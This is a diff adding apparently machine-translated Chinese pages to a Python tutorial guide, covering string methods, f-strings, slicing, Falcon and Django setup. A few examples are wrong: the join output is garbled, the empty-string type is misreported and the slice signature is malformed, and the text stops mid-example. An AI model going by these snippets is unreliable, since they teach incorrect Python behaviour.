+++ b/client/src/guide/chinese/python/python-coding-standards/index.md
@@ -0,0 +1,30 @@
+---
+title: Coding standards
+localeTitle: 编码标准
+---
+### 大纲
+
+*   为什么编码标准？
+*   PEP 8简介
+*   命令
+
+### 为什么编码标准？
+
+全球python社区正在快速增长，几乎每个人都使用python。这是代码和统一标准的可读性很重要的地方。地球上的任何人都应该能够阅读您的代码并了解它的作用。理解其他代码有很多方面，例如关于函数功能的评论，逻辑上在模块和函数之间划分任务，良好的变量名称等。
+
+### PEP 8简介
+
+我们喜欢坚持惯例。 python用户社区已经提出了一套标准，现在这些标准被视为惯例。您编写的任何行业级代码都通过PEP 8检查程序运行。因此，开始为您的类和函数编写文档字符串，并使用approrpiate下划线以小写字母命名变量是一种很好的做法。在开始编码之前，看看这些标准可能是值得的。
+
+[这是详尽的链接](https://www.python.org/dev/peps/pep-0008/ "PEP 8标准")
+
+### 命令
+
+这是你如何检查你的python代码是否符合他的标准。
+
+```console
+:~$ pip install pep8 
+ :~$ pep8 --first myCode.py 
+```
+
+这将提供违反标准的所有行，以及修复的简短描述。
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/python-f-strings/index.md b/client/src/guide/chinese/python/python-f-strings/index.md
new file mode 100644
index 0000000000..8df3c784d5
--- /dev/null
+++ b/client/src/guide/chinese/python/python-f-strings/index.md
@@ -0,0 +1,53 @@
+---
+title: Python f-strings
+localeTitle: Python f字符串
+---
+# Python中的f字符串
+
+在Python 3.6版中，实现了一种格式化字符串的新方法。新方法称为文字字符串插值（通常称为f字符串）。
+
+f-string的使用允许程序员以干净简洁的方式动态地将变量插入到字符串中。除了将变量插入字符串之外，此功能还为程序员提供了计算表达式，连接集合内容，甚至调用f字符串中的函数的能力。
+
+要在f字符串中执行这些动态行为，我们将它们包装在字符串中的大括号内，并将小写字母f前置到字符串的开头（在开头引号之前）。
+
+### 例子
+
+1.  在运行时动态地将变量插入到字符串中：
+    
+    ```python
+    name = 'Jon Snow' 
+     greeting = f'Hello! {name}' 
+     print(greeting) 
+    
+    ```
+    
+2.  评估字符串中的表达式： `python val1 = 2 val2 = 3 expr = f'The sum of {val1} + {val2} is {val1 + val2}' print(expr)`
+    
+3.  调用函数并在字符串中插入输出：
+    
+    ```python
+    def sum(*args): 
+        result = 0 
+        for arg in args: 
+            result += arg 
+        return result 
+     
+     func = f'The sum of 3 + 5 is {sum(3, 5)}' 
+     print(func) 
+    
+    ```
+    
+4.  在字符串中连接集合的内容：
+    
+    ```python
+    fruits = ['Apple', 'Banana', 'Pear'] 
+     
+     list_str = f'List of fruits: {", ".join(fruits)}' 
+     print(list_str) 
+    
+    ```
+    
+
+### 来源
+
+https://www.python.org/dev/peps/pep-0498/
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/python-resources/index.md b/client/src/guide/chinese/python/python-resources/index.md
new file mode 100644
index 0000000000..31b503bc67
--- /dev/null
+++ b/client/src/guide/chinese/python/python-resources/index.md
@@ -0,0 +1,69 @@
+---
+title: Python Resources
+localeTitle: Python资源
+---
+## 教程
+
+*   [Python官方教程](https://docs.python.org/3/tutorial/)
+*   [Hitchhiker的Python指南](https://python-guide.readthedocs.org/en/latest/)
+*   [谷歌Python类](https://developers.google.com/edu/python/)
+*   [以艰难的方式学习Python](http://learnpythonthehardway.org/book/)
+*   [想想Python](http://www.greenteapress.com/thinkpython/html/index.html)
+*   [在X分钟内学习Python](https://learnxinyminutes.com/docs/python/)
+*   [在X分钟内学习Python 3](https://learnxinyminutes.com/docs/python3/)
+*   [深入Python 3](http://www.diveintopython3.net/)
+*   [全栈Python](http://www.fullstackpython.com/)
+*   [使用Python自动化无聊的东西](https://automatetheboringstuff.com/)
+*   [浏览器中的Python REPL](https://repl.it/languages/python3)
+*   [Visual Python代码演练](http://pythontutor.com/)
+*   [Codecademy Python](https://www.codecademy.com/learn/python)
+*   [如何像计算机科学家一样思考](http://interactivepython.org/runestone/static/thinkcspy/index.html) - 用Python教授编程的交互式教科书
+*   [计算机科学与Python编程简介](https://www.edx.org/course/introduction-computer-science-mitx-6-00-1x-8) （MIT）
+*   [CS for All：计算机科学与Python编程入门](https://www.edx.org/course/cs-all-introduction-computer-science-harveymuddx-cs005x-0)
+*   [学习Python](https://www.packtpub.com/packt/free-ebook/learning-python) - 免费电子书
+*   [新编码器](http://newcoder.io/) - 从新手到实际编码器的教程/挑战。
+*   [使用Python进行发明](https://inventwithpython.com/) （另外两本书由Automate the Boring Stuff提供）
+*   [使用Python解决算法和数据结构问题](http://interactivepython.org/runestone/static/pythonds/index.html)
+*   [Python设计模式](https://github.com/faif/python-patterns)
+*   [Django入门教程](https://www.djangoproject.com/start/)
+*   [使用Python进行测试驱动开发](http://chimera.labs.oreilly.com/books/1234000000754/index.html)
+*   [探戈与Django](http://www.tangowithdjango.com/)
+*   [Django Girls'Tutorial](http://tutorial.djangogirls.org/en/) - 建立一个博客
+*   [TaskBuster Django教程](http://www.marinamele.com/taskbuster-django-tutorial) - 从头开始​​构建Django项目
+*   [Derek Banas在一个视频中学习Python](https://www.youtube.com/watch?v=N4mEzFDjqtA)
+*   [pythonprogramming.net Python Baics](https://pythonprogramming.net/introduction-to-python-programming/)
+*   [thenewboston Python 3.4编程教程](https://www.youtube.com/playlist?list=PL6gx4Cwl9DGAcbMi1sH6oAMk4JHw91mC_)
+*   [教程点 - Python](http://www.tutorialspoint.com/python/)
+*   [一套带有视频的入门项目](https://pythonprogramming.net) - 从基础开始。
+*   [Flask Mega教程（Miguel Grinberg）](https://blog.miguelgrinberg.com/post/the-flask-mega-tutorial-part-i-hello-world)
+
+## 挑战
+
+*   [Python Koans](https://github.com/gregmalcolm/python_koans)
+*   [练习Python挑战](http://exercism.io/languages/python)
+*   [CodingBat Python挑战](http://codingbat.com/python)
+*   [交互式学习Python](http://www.learnpython.org/)
+*   [项目欧拉](http://projecteuler.net/)
+*   [Rosalind Python生物信息学问题](http://rosalind.info/problems/locations/)
+*   [Python电梯挑战赛](https://github.com/mshang/python-elevator-challenge)
+*   [CoderByte挑战](https://coderbyte.com/)
+*   [CheckiO](https://checkio.org) - 编码员的游戏
+*   [CodeAbbey](http://www.codeabbey.com/)
+*   [HackerRank - Python面临的挑战](https://hackerrank.com/domains/python/py-introduction)
+*   [CodeSignal - 准备面试并进一步提高您的编程技巧](https://codesignal.com/)
+*   [CodeWars](https://www.codewars.com/)
+*   [CodeChef](https://www.codechef.com/)
+
+## 社区
+
+*   [真棒Python](https://github.com/vinta/awesome-python)
+*   [/ R / Python的](https://www.reddit.com/r/python)
+*   [/ R / LearnPython](https://www.reddit.com/r/learnpython)
+*   [行星Python](http://planetpython.org/)
+*   [PyLadies](http://www.pyladies.com/)
+*   [DjangoGirls](https://djangogirls.org/)
+*   [Python-forum.io](https://python-forum.io/)
+
+## 工具：
+
+*   [PyCharm Edu](https://www.jetbrains.com/pycharm-edu/) - [PyCharm](https://www.jetbrains.com/pycharm-edu/)的免费教育版本，附带教程，教你Python和下载更多的能力。
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/range-function/index.md b/client/src/guide/chinese/python/range-function/index.md
new file mode 100644
index 0000000000..848b9a9e9c
--- /dev/null
+++ b/client/src/guide/chinese/python/range-function/index.md
@@ -0,0 +1,13 @@
+---
+title: Range Method
+localeTitle: 范围方法
+---
+# 范围功能
+
+如果你需要迭代一系列数字，内置函数range（）就派上用场了。它生成算术进度：
+
+#### 示例用法
+
+`py for i in range(5): print(i)`
+
+####输出 `0 1 2 3 4`
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/rest-api-with-falcon/index.md b/client/src/guide/chinese/python/rest-api-with-falcon/index.md
new file mode 100644
index 0000000000..1d0d79bf34
--- /dev/null
+++ b/client/src/guide/chinese/python/rest-api-with-falcon/index.md
@@ -0,0 +1,91 @@
+---
+title: REST APIs with Falcon
+localeTitle: 使用Falcon的REST API
+---
+## 介绍
+
+RESTful API是任何架构良好的堆栈的主要组件，而Python恰好有一些很好的框架可用于快速编写API。其中一个框架被称为[Falcon](https://falconframework.org) - 它很棒！基本上是一个微框架，它具有相当多的优点：
+
+1.  它很快。真的很快查看[这里](https://falconframework.org/#sectionBenchmarks)的基准。
+    
+2.  HTTP资源被定义为类，其中类方法用于对这些资源的不同REST操作。这有助于维护干净的代码库。
+    
+3.  这是相当可扩展的 - 请查看他们的维基上的[这一部分](https://github.com/falconry/falcon/wiki/Complementary-Packages) ，以了解它。
+    
+4.  它基于WSGI - Web应用程序的Pythonic标准 - 因此它适用于Python 2.6,2.7和3.3+。如果您需要更高的性能，请使用PyPy运行它！
+    
+
+## 入门
+
+首先，让我们为环境做好准备。就个人而言，在虚拟环境中工作总是很棒 - 你可以使用`virtualenv` ， `virtualenvwrapper`或`venv` 。接下来，使用`pip` ： `pip install falcon`安装Falcon。
+
+我们将开发一个小样本API，为我们进行非常基本的时区操作。它将以UTC显示当前时间以及相应的纪元时间。为此，我们将获得一个名为`arrow`的漂亮库： `pip install arrow` 。
+
+您可以在[https://github.com/rudimk/freecodecamp-guides-rest-api-falcon](https://github.com/rudimk/freecodecamp-guides-rest-api-falcon)找到完成的样本。
+
+## 资源
+
+将资源视为API需要操作的实体。在我们的例子中，最好的资源是`Timestamp` 。我们的路由通常是这样的：
+```
+GET /timestamp 
+```
+
+这里， `GET`是用于调用此端点的HTTP动词， `/timestamp`是URL本身。现在我们已经把这一点放开了，让我们创建一个模块！
+
+`$ touch timestamp.py`
+
+是时候导入Falcon库了：
+
+```python
+import json 
+ 
+ import falcon 
+ 
+ import arrow 
+```
+
+注意我们还导入了`json`包和`arrow`库。现在，让我们为我们的资源定义一个类：
+
+```python
+class Timestamp(object): 
+ 
+    def on_get(self, req, resp): 
+        payload = {} 
+        payload['utc'] = arrow.utcnow().format('YYYY-MM-DD HH:mm:SS') 
+        payload['unix'] = arrow.utcnow().timestamp 
+ 
+        resp.body = json.dumps(payload) 
+        resp.status = falcon.HTTP_200 
+```
+
+我们来看看这个片段。我们定义了一个`Timestamp`类，并定义了一个名为`on_get`的类方法 - 该函数告诉Falcon当向该资源的端点发出`GET`请求时，运行`on_get`函数并提供请求和响应对象作为参数。之后，它一帆风顺 - 我们创建一个空字典，用当前的UTC和UNIX时间戳填充它，将其转换为JSON并将其附加到响应对象。
+
+很简单吧？但遗憾的是，并非全部。我们现在需要创建一个Falcon服务器并将我们刚刚定义的资源类连接到实际端点。
+
+`$ touch app.py`
+
+现在，添加以下代码：
+
+```python
+import falcon 
+ 
+ from timestamp import Timestamp 
+ 
+ api = application = falcon.API() 
+ 
+ timestamp = Timestamp() 
+ 
+ api.add_route('/timestamp', timestamp) 
+```
+
+在这里，我们定义了一个Falcon API，并初始化了我们之前创建的资源类的实例。然后，我们将`/timestamp`端点与类实例连接起来 - 现在我们很高兴！要测试这个API安装`gunicorn` （ `pip install gunicorn` ），并运行`gunicorn app` 。使用Postman或简单的`cURL`来测试这个：
+```
+$ curl http://localhost:8000/timestamp 
+ {"utc": "2017-10-20 06:03:14", "unix": 1508479437} 
+```
+
+就是这样！
+
+## 继续
+
+一旦掌握了Falcon，构建与数据库或消息队列交互的强大RESTful API非常容易。查看[Falcon文档](https://falcon.readthedocs.io/en/stable/index.html) ，以及有趣的Falcon模块的PyPI，这些模块不断涌现。
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/return-statement/index.md b/client/src/guide/chinese/python/return-statement/index.md
new file mode 100644
index 0000000000..87b333974c
--- /dev/null
+++ b/client/src/guide/chinese/python/return-statement/index.md
@@ -0,0 +1,91 @@
+---
+title: Python Return Statement
+localeTitle: Python返回声明
+---
+[Python文档](https://docs.python.org/3/reference/simple_stmts.html#the-return-statement)
+
+调用时，所有函数都返回一个值。
+
+如果返回语句后跟表达式列表，则计算该表达式列表并返回值：
+```
+>>> def greater_than_1(n): 
+ ...     return n > 1 
+ ... 
+ >>> print(greater_than_1(1)) 
+ False 
+ >>> print(greater_than_1(2)) 
+ True 
+```
+
+如果未指定表达式列表，则返回`None` ：
+```
+>>> def no_expression_list(): 
+ ...     return    # No return expression list. 
+ ... 
+ >>> print(no_expression_list()) 
+ None 
+```
+
+如果在执行函数期间达到return语句，则当前函数调用将保留在该点：
+```
+>>> def return_middle(): 
+ ...     a = 1 
+ ...     return a 
+ ...     a = 2     # This assignment is never reached. 
+ ... 
+ >>> print(return_middle()) 
+ 1 
+```
+
+如果没有return语句，则函数到达结尾时返回None：
+```
+>>> def no_return(): 
+ ...     pass     # No return statement. 
+ ... 
+ >>> print(no_return()) 
+ None 
+```
+
+单个函数可以有多个`return`语句。当达到以下`return`语句之一时，函数的执行结束：
+```
+ >>> def multiple_returns(n): 
+ ...    if(n): 
+ ...        return "First Return Statement" 
+ ...    else: 
+ ...        return "Second Return Statement" 
+ ... 
+ >>> print(multiple_returns(True)) 
+ First Return Statement 
+ >>> print(multiple_returns(False)) 
+ Second Return Statement 
+```
+
+单个函数可以返回各种类型：
+```
+ >>> def various_return_types(n): 
+ ...     if(n==1): 
+ ...         return "Hello World."   # Return a string 
+ ...     elif(n==2): 
+ ...         return 42               # Return a value 
+ ...     else: 
+ ...         return True             # Return a boolean 
+ ... 
+ >>> print(various_return_types(1)) 
+ Hello World. 
+ >>> print(various_return_types(2)) 
+ 42 
+ >>> print(various_return_types(3)) 
+ True 
+```
+
+甚至可以让单个函数返回多个值，只返回一个：
+```
+ >>> def return_two_values(): 
+ ...     a = 40 
+ ...     b = 2 
+ ...     return a,b 
+ ... 
+ >>> print("First value = %d,  Second value = %d" %(return_two_values())) 
+ First value = 40,  Second value = 2 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/sequence-types/index.md b/client/src/guide/chinese/python/sequence-types/index.md
new file mode 100644
index 0000000000..d5ac66f951
--- /dev/null
+++ b/client/src/guide/chinese/python/sequence-types/index.md
@@ -0,0 +1,27 @@
+---
+title: Python Sequence Types
+localeTitle: Python序列类型
+---
+这些表示由非负数索引的有限有序集。内置函数`len()`返回序列的项数。当序列的长度为`n` ，索引集包含数字`0, 1, ..., n-1` 。序列a的项目`i`由`a<a href='https://docs.python.org/3/reference/datamodel.html#the-standard-type-hierarchy' target='_blank' rel='nofollow'>i]` 。
+
+\[Python文档 - 标准类型层次结构
+
+## 更多
+
+*   内置序列类型是：
+    
+    *   `list`
+        
+    *   `tuple`
+        
+    *   `range`
+        
+*   内置序列类型是可迭代类型（实现所需的`__iter__()`方法）。
+    
+*   操作：
+    
+    *   [常用序列操作](https://docs.python.org/3/library/stdtypes.html#common-sequence-operations)
+        
+    *   [可变序列类型](https://docs.python.org/3/library/stdtypes.html#mutable-sequence-types)
+        
+    *   [不可变序列类型](https://docs.python.org/3/library/stdtypes.html#immutable-sequence-types)
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/set-types/index.md b/client/src/guide/chinese/python/set-types/index.md
new file mode 100644
index 0000000000..0806e7df6e
--- /dev/null
+++ b/client/src/guide/chinese/python/set-types/index.md
@@ -0,0 +1,22 @@
+---
+title: Python Set Types
+localeTitle: Python集类型
+---
+set对象是不同的可哈希对象的无序集合。常见用途包括成员资格测试，从序列中删除重复项，以及计算数学运算，如交集，并集，差异和对称差异。
+
+[Python文档 - 设置类型设置Frozenset](https://docs.python.org/3/library/stdtypes.html#set-types-set-frozenset)
+
+**TODO：解释哈希/哈希** 哈希表是一个连续的记录向量，其槽位有三个 口味：
+
+1.  带键+值对的插槽。打电话给这些公民
+2.  尚未使用的插槽。称这些处女为人。
+3.  插槽曾经是公民，但其密钥被删除，以及在哪里 另一个键+值对尚未覆盖插槽。叫这些 粪便（这是技术术语<0.9眨眼>）。
+
+当处女数量低于三分之一时，Python会调整表格的大小 插槽总数。在通常情况下，Python将表大小加倍 （最多可达1,073,741,824个插槽）。但是，如果很多 删除留下许多粪便，处女的数量是可能的 尽管很少有公民留下来，但要变得非常低;在那种情况下，Python 实际上缩小了表格（下降到目前最小的4个插槽）。
+
+当混合添加和删除时，避免颠簸 table接近调整大小阈值，Python实际上没有检查＃of 删除后的处女（实际上，它假设你很快就会取代 再与公民争吵）。所以，奇怪的是， _永远不会_删除密钥 收缩表。删除后跟添加的长序列可能会缩小 但是，它。在不添加密钥的情况下强制收缩的方法是：
+```
+dict = dict.copy() 
+```
+
+dict.copy（）总是返回最小的无turd字典 2次幂的大小，至少留下三分之一的处女。
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/setting-up-python-web-framework-django-and-flask/index.md b/client/src/guide/chinese/python/setting-up-python-web-framework-django-and-flask/index.md
new file mode 100644
index 0000000000..14e943baaa
--- /dev/null
+++ b/client/src/guide/chinese/python/setting-up-python-web-framework-django-and-flask/index.md
@@ -0,0 +1,43 @@
+---
+title: Setting Up Python Web Framework Django and Flask
+localeTitle: 设置Python Web框架Django和Flask
+---
+在本文中，我们将讨论如何安装[Django](https://www.djangoproject.com/)和[Flask--](http://flask.pocoo.org/)两个用Python编写的流行Web框架。
+
+也许您已经熟悉Python的广泛使用和社区支持;在网络开发中。您可能也知道Web框架是什么;以及Python可用的选项。
+
+如果这些假设不真实，您可能需要查看此Wiki文章 。如果你们都赶上了，那就让我们在本地开发机器上设置Python Web框架了。
+
+但如果我们完全忽略[Python 2与Python 3的](http://docs.python-guide.org/en/latest/starting/which-python/#the-state-of-python-2-vs-3)争论，那将是不公平的。
+
+## 虚拟环境
+
+在我们安装Django之前，我们将帮助您安装一个非常有用的工具，以帮助您的编码环境保持整洁。可以跳过此步骤，但强烈建议。从最好的设置开始将为您节省很多麻烦！
+
+所以，让我们创建一个虚拟环境（也称为virtualenv）。 Virtualenv将基于每个项目隔离您的Python / Django设置。这意味着您对一个网站所做的任何更改都不会影响您正在开发的任何其他网站。干净吧？
+
+有关虚拟环境的更多信息，请参阅[此处](https://guide.freecodecamp.org/python/virtual-environments/)的相关部分。
+
+## 包起来
+
+如果您已经安装了`pip`那么只需：
+```
+$ pip install django 
+```
+
+安装完成后我们可以创建一个新项目：
+```
+$ django-admin startproject myproject 
+ $ cd myproject 
+ $ python manage.py runserver 
+```
+
+转到`http://localhost:8000` ！ ：火箭：
+
+我们已成功安装了我们需要的Web框架。但是，它尚未完成。大多数Web应用程序都是内容和数据驱动的 - 因此我们需要数据存储。或者，数据库，如果你愿意的话。
+
+在下一篇文章中，我们将讨论如何安装PostgreSQL并将其与我们的Python Web应用程序一起使用。
+
+需要思考的一点 - 我们一直在大力使用`pip` ，但我们几乎没有说过任何关于它的信息。好吧，就目前而言，它只是像`npm`这样的包管理器。它与`npm`有一些差异;但是，你现在不需要担心。如果您有兴趣，请查看[官方`pip`文档](http://pip-python3.readthedocs.org/en/latest/index.html) 。
+
+_如果您有任何建议或问题，请加入我们的[gitter](https://gitter.im/FreeCodeCamp/FreeCodeCamp)_ 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/share-file-using-python-simple-http-server/index.md b/client/src/guide/chinese/python/share-file-using-python-simple-http-server/index.md
new file mode 100644
index 0000000000..692c4b61d6
--- /dev/null
+++ b/client/src/guide/chinese/python/share-file-using-python-simple-http-server/index.md
@@ -0,0 +1,20 @@
+---
+title: Share File Using Python SimpleHTTPserver
+localeTitle: 使用Python SimpleHTTPserver共享文件
+---
+## 发送文件需要遵循的步骤。
+
+1.  确保两台计算机通过LAN或WIFI通过同一网络连接。
+2.  在Ubuntu中打开终端并确保在PC中安装了python。
+3.  如果没有安装，则通过键入没有引号的终端“sudo apt-get install python”来安装它。
+4.  使用cd（更改目录）命令转到要共享其文件的目录。
+5.  键入此命令“python -m simpleHTTPserver”，不带引号。
+6.  打开新终端并输入ifconfig并找到您的IP地址。
+
+## 现在在第二台电脑
+
+1.  打开浏览器并输入第一个的IP地址。
+2.  不要忘记在IP地址末尾添加端口号。默认情况下为：8000
+
+将打开一个页面，显示目录类型结构，它将显示源PC中的所有文件。  
+现在您可以访问所有文件。
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/sleep-how-can-i-make-a-time-delay-in-python/index.md b/client/src/guide/chinese/python/sleep-how-can-i-make-a-time-delay-in-python/index.md
new file mode 100644
index 0000000000..e74aef8e9e
--- /dev/null
+++ b/client/src/guide/chinese/python/sleep-how-can-i-make-a-time-delay-in-python/index.md
@@ -0,0 +1,22 @@
+---
+title: Sleep How Can I Make a Time Delay in Python
+localeTitle: 睡眠如何在Python中延迟时间
+---
+## 睡眠如何在Python中延迟时间
+
+Python标准库中的`time`模块包含函数`sleep()` ，该函数将程序暂停给定的秒数。
+
+例：
+```
+import time 
+ 
+ for letter in 'hello, world!': 
+    print(letter) 
+    time.sleep(2)  # sleep 2 seconds between each print 
+```
+
+浮点数可以作为`sleep()`的参数给出，以获得更精确的睡眠时间。
+
+#### 更多信息：
+
+关于睡眠功能的时间模块[文档](https://docs.python.org/3/library/time.html#time.sleep) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/slicestartstopstep/index.md b/client/src/guide/chinese/python/slicestartstopstep/index.md
new file mode 100644
index 0000000000..7b3b1337ff
--- /dev/null
+++ b/client/src/guide/chinese/python/slicestartstopstep/index.md
@@ -0,0 +1,51 @@
+---
+title: Python Slicestartstopstep
+localeTitle: Python Slicestartstopstep
+---
+`slice(start:stop[:step])`是一个通常包含序列一部分的对象。使用下标符号创建切片，\[\]在给定多个数字时使用数字之间的冒号，例如在variable\_name \[1：3：5\]中。
+
+## 参数
+
+此函数可用于切片元组，数组和列表。
+
+`start`参数的值（如果未提供，则为None）
+
+`stop`参数的值（或序列的最后一个索引）
+
+`step`参数的值（如果未提供则为None）。它不能是0。
+
+这三个必须是整数类型。
+
+## 返回
+
+如果仅提供`stop` ，则它生成从索引`0`到`stop`的序列的一部分。
+
+如果仅提供`start` ，则在索引`start`之后生成序列的一部分直到最后一个元素。
+
+如果同时提供了`start`和`stop` ，它会在索引`start`直到`stop`生成一部分序列。
+
+如果提供了全部三个`start` ， `stop`和`step` ，则在索引`start`之后生成序列的一部分，直到`stop`并增加索引`step` 。
+
+## 例
+```
+a = [1, 2, 3, 4, 5, 6, 7, 8] 
+ print(a[:5])    # prints [1, 2, 3, 4, 5] 
+ print(a[2:])    # prints [3, 4, 5, 6, 7, 8] 
+ print(a[2:5])    # prints [3, 4, 5] 
+ print(a[2:7:2])    # prints [3, 5, 7] 
+```
+
+您可以使用`-1`索引序列的最后一个索引：
+```
+a = [1, 2, 3, 4, 5, 6] 
+ print(a[-1])    # prints 6 
+ print(a[2:-1])    # prints [3, 4, 5] 
+```
+
+您可以使用`[::-1]`切片表示法来翻转序列：
+```
+a = [1, 2, 3, 4, 5, 6] 
+ print(a[::-1])    # prints [6, 5, 4, 3, 2, 1] 
+```
+
+[官方文件](https://docs.python.org/3/library/functions.html#slice) ![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CT5h)
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/string-methods/index.md b/client/src/guide/chinese/python/string-methods/index.md
new file mode 100644
index 0000000000..090b60d9f0
--- /dev/null
+++ b/client/src/guide/chinese/python/string-methods/index.md
@@ -0,0 +1,31 @@
+---
+title: String Methods
+localeTitle: 字符串方法
+---
+**TODO： `string`基本信息**
+
+[Python文档 - 字符串](https://docs.python.org/3/library/stdtypes.html#strings)
+
+**创建：**
+
+使用一对引号或撇号创建空`string` ：
+
+```shell
+>>> new_string = '' 
+ >>> type(new_string) 
+ <class 'string'> 
+ >>> len(new_string) 
+ 0 
+```
+
+[Python文档 - 有关字符串的更多信息](https://docs.python.org/3/tutorial/datastructures.html#more-on-strings)
+
+*   `string.find('you')`返回找到子字符串的最低位置。
+    
+*   `str.join(iterable)`使用指定的字符串连接`iterable`所有元素。
+    
+*   `str.replace(old, new, max)`方法用于将字符串`old`替换为字符串`new` ，总计`max`次数。此方法返回带有替换的字符串的新副本，并且原始`str`不变。
+    
+*   `string.split(separator, maxsplit)`返回由分隔字符串的列表`separator` ，可选`maxsplit`的次数，如果没有指定，该字符串将在所有情况下被分裂`separator` 。
+    
+*   `string.strip(to_strip)`返回从字符串的开头和结尾删除`to_strip`的字符串。如果未指定`to_strip` ，则将删除所有空白字符。
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/string-methods/string-find-method/index.md b/client/src/guide/chinese/python/string-methods/string-find-method/index.md
new file mode 100644
index 0000000000..c191eeeda9
--- /dev/null
+++ b/client/src/guide/chinese/python/string-methods/string-find-method/index.md
@@ -0,0 +1,33 @@
+---
+title: String Find Method
+localeTitle: 字符串查找方法
+---
+## 字符串查找方法
+
+在Python中`find()`字符串中的子字符串有两种选择： `find()`和`rfind()` 。
+
+每个都将返回找到子字符串的位置。两者之间的区别在于`find()`返回最低位置， `rfind()`返回最高位置。
+
+可以提供可选的开始和结束参数，以限制在字符串的部分内搜索子字符串。
+
+例：
+
+```shell
+>>> string = "Don't you call me a mindless philosopher, you overweight glob of grease!" 
+ >>> string.find('you') 
+ 6 
+ >>> string.rfind('you') 
+ 42 
+```
+
+如果未找到子字符串，则返回-1。
+
+```shell
+>>> string = "Don't you call me a mindless philosopher, you overweight glob of grease!" 
+ >>> string.find('you', 43)  # find 'you' in string anywhere from position 43 to the end of the string 
+ -1 
+```
+
+更多信息：
+
+字符串方法[文档](https://docs.python.org/3/library/stdtypes.html#string-methods) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/string-methods/string-join-method/index.md b/client/src/guide/chinese/python/string-methods/string-join-method/index.md
new file mode 100644
index 0000000000..383a22f9e5
--- /dev/null
+++ b/client/src/guide/chinese/python/string-methods/string-join-method/index.md
@@ -0,0 +1,78 @@
+---
+title: String Join Method
+localeTitle: 字符串连接方法
+---
+## 字符串连接方法
+
+`str.join(iterable)`方法用于连接具有指定字符串`str`的`iterable`所有元素。 如果iterable包含任何非字符串值，则会引发TypeError异常。
+
+`iterable` ：字符串的所有迭代。可以是字符串列表，字符串元组甚至是普通字符串。
+
+#### 例子
+
+1）用`":"`加入字符串ist
+
+```python
+print ":".join(["freeCodeCamp", "is", "fun"]) 
+```
+
+产量
+
+```shell
+freeCodeCamp:is:fun 
+```
+
+2）用`" and "`加入一个字符串元组
+
+```python
+print " and ".join(["A", "B", "C"]) 
+```
+
+产量
+
+```shell
+A and B and C 
+```
+
+3）在字符串中的每个字符后面插入一个`" "`
+
+```python
+print " ".join("freeCodeCamp") 
+```
+
+输出：
+
+```shell
+free C ode C amp 
+```
+
+4）加入空字符串。
+
+```python
+list1 = ['p','r','o','g','r','a','m'] 
+ print("".join(list1)) 
+```
+
+输出：
+
+```shell
+program 
+```
+
+5）加入套装。
+
+```python
+test =  {'2', '1', '3'} 
+ s = ', ' 
+ print(s.join(test)) 
+```
+
+输出：
+
+```shell
+2, 3, 1 
+```
+
+#### 更多信息：
+
+[字符串连接的Python文档](https://docs.python.org/2/library/stdtypes.html#str.join)
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/string-methods/string-replace-method/index.md b/client/src/guide/chinese/python/string-methods/string-replace-method/index.md
new file mode 100644
index 0000000000..a87b79f9c9
--- /dev/null
+++ b/client/src/guide/chinese/python/string-methods/string-replace-method/index.md
@@ -0,0 +1,41 @@
+---
+title: String Replace Method
+localeTitle: 字符串替换方法
+---
+## 字符串替换方法
+
+`str.replace(old, new, max)`方法用于将字符串`old`替换为字符串`new` ，总计`max`次数。此方法返回带有替换的字符串的新副本。原始字符串`str`保持不变。
+
+#### 例子
+
+1.  用`"WAS"`替换所有出现的`"is"` `"WAS"`
+
+```python
+string = "This is nice. This is good." 
+ newString = string.replace("is","WAS") 
+ print(newString) 
+```
+
+产量
+
+```python
+ThWAS WAS nice. ThWAS WAS good. 
+```
+
+2.  用`"WAS"`替换前两次出现的`"is"` `"WAS"`
+
+```python
+string = "This is nice. This is good." 
+ newString = string.replace("is","WAS", 2) 
+ print(newString) 
+```
+
+产量
+
+```python
+ThWAS WAS nice. This is good. 
+```
+
+#### 更多信息：
+
+阅读[Python文档中](https://docs.python.org/2/library/string.html#string.replace)有关字符串替换的更多信息
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/string-methods/string-split-method/index.md b/client/src/guide/chinese/python/string-methods/string-split-method/index.md
new file mode 100644
index 0000000000..2fb8bd3818
--- /dev/null
+++ b/client/src/guide/chinese/python/string-methods/string-split-method/index.md
@@ -0,0 +1,86 @@
+---
+title: String Split Method
+localeTitle: 字符串拆分方法
+---
+`split()`函数通常用于Python中的字符串拆分。
+
+#### `split()`方法
+
+模板： `string.split(separator, maxsplit)`
+
+`separator` ：分隔符字符串。您可以根据此字符拆分字符串。例如。它可能是 ” ”， ”：”， ”;”等等
+
+`maxsplit` ：基于`separator`拆分字符串的次数。如果未指定或-1，则根据`separator`所有匹配项拆分字符串
+
+此方法返回的分隔字符串的列表`separator`
+
+#### 例子
+
+1）在空格上拆分字符串：“”
+
+```python
+string = "freeCodeCamp is fun." 
+ print(string.split(" ")) 
+```
+
+输出：
+
+```python
+['freeCodeCamp', 'is', 'fun.'] 
+```
+
+2）用逗号分隔字符串：“，”
+
+```python
+string = "freeCodeCamp,is fun, and informative" 
+ print(string.split(",")) 
+```
+
+输出：
+
+```python
+['freeCodeCamp', 'is fun', ' and informative'] 
+```
+
+3）未指定`separator`符
+
+```python
+string = "freeCodeCamp is fun and informative" 
+ print(string.split()) 
+```
+
+输出：
+
+```python
+['freeCodeCamp', 'is', 'fun', 'and', 'informative'] 
+```
+
+注意：如果未指定`separator`符，则会删除**所有**空格的字符串
+
+```python
+string = "freeCodeCamp        is     fun and    informative" 
+ print(string.split()) 
+```
+
+输出：
+
+```python
+['freeCodeCamp', 'is', 'fun', 'and', 'informative'] 
+```
+
+3）使用`maxsplit`拆分字符串。这里我们将字符串拆分为两次：
+
+```python
